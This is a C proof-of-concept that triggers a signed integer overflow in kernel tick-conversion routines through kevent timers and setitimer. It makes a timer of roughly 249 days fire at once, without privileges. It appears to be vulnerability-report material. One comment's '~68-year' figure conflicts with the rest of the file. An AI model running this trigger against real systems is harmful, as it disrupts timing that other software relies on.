DF-5835 / tvtohz_ovf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * DF-5835 PoC: signed int overflow in tvtohz_high() (sys/kern/kern_clock.c:1199) * and its siblings tvtohz_low()/tstohz_high()/tstohz_low(). * * The guard `sec <= INT_MAX / hz` leaves no headroom for the sub-second term: * at hz=100, sec=INT_MAX/hz=21474836 with usec=999000 gives * ticks = (int)(21474836*100 + howmany(999000,10000)) + 1 * = (int)(2147483701) -> wraps to -2147483595. * The negative count is clamped by callout_reset() to a 1-tick timeout, so a * ~68-year one-shot timer fires IMMEDIATELY. * * Unprivileged reachability #1: kevent(EVFILT_TIMER) - kn->kn_sdata (ms) is * converted in filt_timerreset() (kern_event.c:425-433) with NO validation * in filt_timerattach(). data=21474836999 -> tv={21474836, 999000}. * Unprivileged reachability #2: setitimer(ITIMER_REAL, {{21474836,999999},0}) * passes itimerfix() (normalized) and hits kern_time.c:968 tvtohz_high(). * * Build: cc -O2 -Wall -o tvtohz_ovf tvtohz_ovf.c * Run: ./tvtohz_ovf kevent ; ./tvtohz_ovf setitimer */ #include <sys/event.h> #include <sys/signal.h> #include <sys/time.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ((double)ts.tv_sec + (double)ts.tv_nsec / 1e9); } static volatile sig_atomic_t got_alrm; static void alrm(int sig __attribute__((unused))) { got_alrm = 1; } static int do_kevent(void) { struct kevent ev; struct timespec two = { 2, 0 }; double t0; int kq, n; kq = kqueue(); if (kq < 0) { perror("kqueue"); return (1); } /* OVERFLOW boundary: 21474836999 ms -> tv {21474836 s, 999000 us} */ EV_SET(&ev, 1, EVFILT_TIMER, EV_ADD | EV_ONESHOT, 0, 21474836999LL, NULL); t0 = now(); n = kevent(kq, &ev, 1, &ev, 1, NULL); /* block until it fires */ printf("[kevent] boundary data=21474836999ms (%.1f yr): fired after " "%.6f s (n=%d errno=%d) <-- OVERFLOW if ~0s, expected ~249 days\n", 21474836.999 / (365.25 * 86400), now() - t0, n, errno); /* CONTROL: 1 second of ms below the boundary -> no overflow -> huge * timeout, must NOT fire within the 2 s kevent timeout. */ EV_SET(&ev, 2, EVFILT_TIMER, EV_ADD | EV_ONESHOT, 0, 21474835999LL, NULL); t0 = now(); n = kevent(kq, &ev, 1, &ev, 1, &two); printf("[kevent] control data=21474835999ms: n=%d after %.6f s " "(expected n=0 timeout ~2s, i.e. NOT fired)\n", n, now() - t0); close(kq); return (0); } static int do_setitimer(void) { struct itimerval it, old; struct timespec req = { 0, 100 * 1000 * 1000 }; double t0; int i; signal(SIGALRM, alrm); memset(&it, 0, sizeof(it)); /* OVERFLOW boundary: passes itimerfix(): normalized, non-negative */ it.it_value.tv_sec = 21474836; it.it_value.tv_usec = 999999; if (setitimer(ITIMER_REAL, &it, &old) < 0) { perror("setitimer"); return (1); } t0 = now(); for (i = 0; i < 60 && !got_alrm; i++) /* up to 6 s */ nanosleep(&req, NULL); if (got_alrm) printf("[setitimer] boundary {21474836s,999999us} " "(~249 days): SIGALRM after %.6f s <-- OVERFLOW if ~0s\n", now() - t0); else printf("[setitimer] no SIGALRM within 6 s (no overflow?)\n"); return (0); } int main(int argc, char **argv) { if (argc < 2 || !strcmp(argv[1], "kevent")) return (do_kevent()); if (!strcmp(argv[1], "setitimer")) return (do_setitimer()); fprintf(stderr, "usage: %s kevent|setitimer\n", argv[0]); return (2); } |